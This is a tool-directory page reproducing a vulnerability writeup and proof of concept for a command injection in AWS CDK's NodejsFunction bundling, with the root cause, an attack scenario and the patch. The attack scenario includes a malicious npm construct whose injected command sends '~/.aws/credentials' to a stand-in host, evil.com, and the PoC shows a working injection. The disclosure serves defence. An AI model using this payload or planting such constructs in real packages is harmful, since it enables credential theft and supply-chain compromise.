Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-11417-AWS-CDK-RCE — Technical writeup and Proof of Concept (PoC) for CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) in AWS CDK's NodejsFunction. | Kitploit
Tools/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
Vulnerability AnalysisCode AnalysisExploitationPenetration TestingCloud SecuritySupply Chain SecurityPapers & ResearchLearning & Education
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

Technical writeup and Proof of Concept (PoC) for CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) in AWS CDK's NodejsFunction.

View Repository
113 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Supply Chain Command Injection in AWS CDK's NodejsFunction (CVE-2026-11417)

Author: Hesham Ashraf (@HeshamASH)

Date: June 10, 2026

Severity: High (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Affected Package: aws-cdk-lib (npm), all versions prior to 2.245.0

Vendor: Amazon Web Services (AWS)

Status: Patched (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Bulletin: AWS-2026-041 | Advisory: GHSA-999r-qq7v-r334


TL;DR

I discovered a command injection vulnerability in the AWS Cloud Development Kit (CDK) that allowed an attacker to achieve Remote Code Execution (RCE) on any machine running cdk synth — including developer workstations and CI/CD pipelines — by publishing a malicious npm package or submitting a crafted Pull Request.

The vulnerability existed because aws-cdk-lib's NodejsFunction construct interpolated user-controlled strings directly into a shell command without sanitization, then executed it via bash -c / cmd /c. AWS patched the issue by replacing shell-based execution with direct spawnSync argument arrays.


Background

The AWS Cloud Development Kit (CDK) is a widely-used open-source framework for defining cloud infrastructure as code. It is used by tens of thousands of developers and CI/CD pipelines to synthesize and deploy AWS CloudFormation stacks.

The NodejsFunction construct is one of the most popular CDK L2 constructs. It bundles TypeScript/JavaScript Lambda functions using esbuild during the synthesis phase (cdk synth).


The Vulnerability

Root Cause

The NodejsFunction construct's local bundling path built a shell command string by directly interpolating several user-controlled properties without any sanitization:

// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // NO ESCAPING
];

The array was then joined into a single string and passed to a shell:

// The joined command is passed directly to the OS shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

Shell metacharacters like &, ;, |, `, and $(...) within any of the injectable properties would be interpreted by the shell as command separators, enabling arbitrary command execution.

Affected Properties

PropertySanitizationRisk Level
externalModulesNoneCritical
define (keys)None (values use JSON.stringify)Critical
loader (keys)NoneCritical
injectNoneCritical
esbuildArgs (keys/values)NoneCritical

Supply Chain Attack Scenario

This vulnerability is particularly dangerous because the injection occurs at the CDK synthesis layer, not during npm install. This means standard npm security measures like --ignore-scripts provide no protection.

Attack Vector: Malicious CDK Construct

An attacker publishes a legitimate-looking npm package that wraps NodejsFunction:

// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Hidden payload among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

When a developer installs this package and runs cdk synth, the CDK constructs:

npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

The & character splits this into two independent shell commands:

  1. npx esbuild --bundle handler.ts --external:lodash — esbuild runs normally
  2. curl https://evil.com/... — attacker's payload exfiltrates AWS credentials

Why This Bypasses Standard Defenses

DefenseEffective?Why
npm install --ignore-scriptsNoInjection happens during cdk synth, not package install
Code review of package.jsonNoThe payload is in TypeScript construct code, not scripts
npm auditNoThe package contains no known vulnerabilities
Lockfile integrityNoThe package itself is installed correctly

Proof of Concept

Step 1: Create a CDK project

mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

Step 2: Create app.ts with injection payload

import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

Step 3: Trigger

npx ts-node app.ts

Step 4: Verify RCE

cat pwned.txt
# Output: PWNED

The file pwned.txt is created, confirming arbitrary command execution on the host.


The Fix

PR #37292: Array-based spawnSync

The core fix replaces shell command string construction with direct spawnSync using argument arrays:

- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });

This eliminates shell metacharacter interpretation entirely. The new BundlingStep type system cleanly separates:

  • spawn steps: esbuild/tsc/install — executed via direct spawnSync with argument arrays
  • shell steps: user-provided commandHooks — intentionally shell-executed (user controls these by contract)
  • fs steps: file operations — no shell involvement

PR #37412: Windows PowerShell Escaping

Download Tool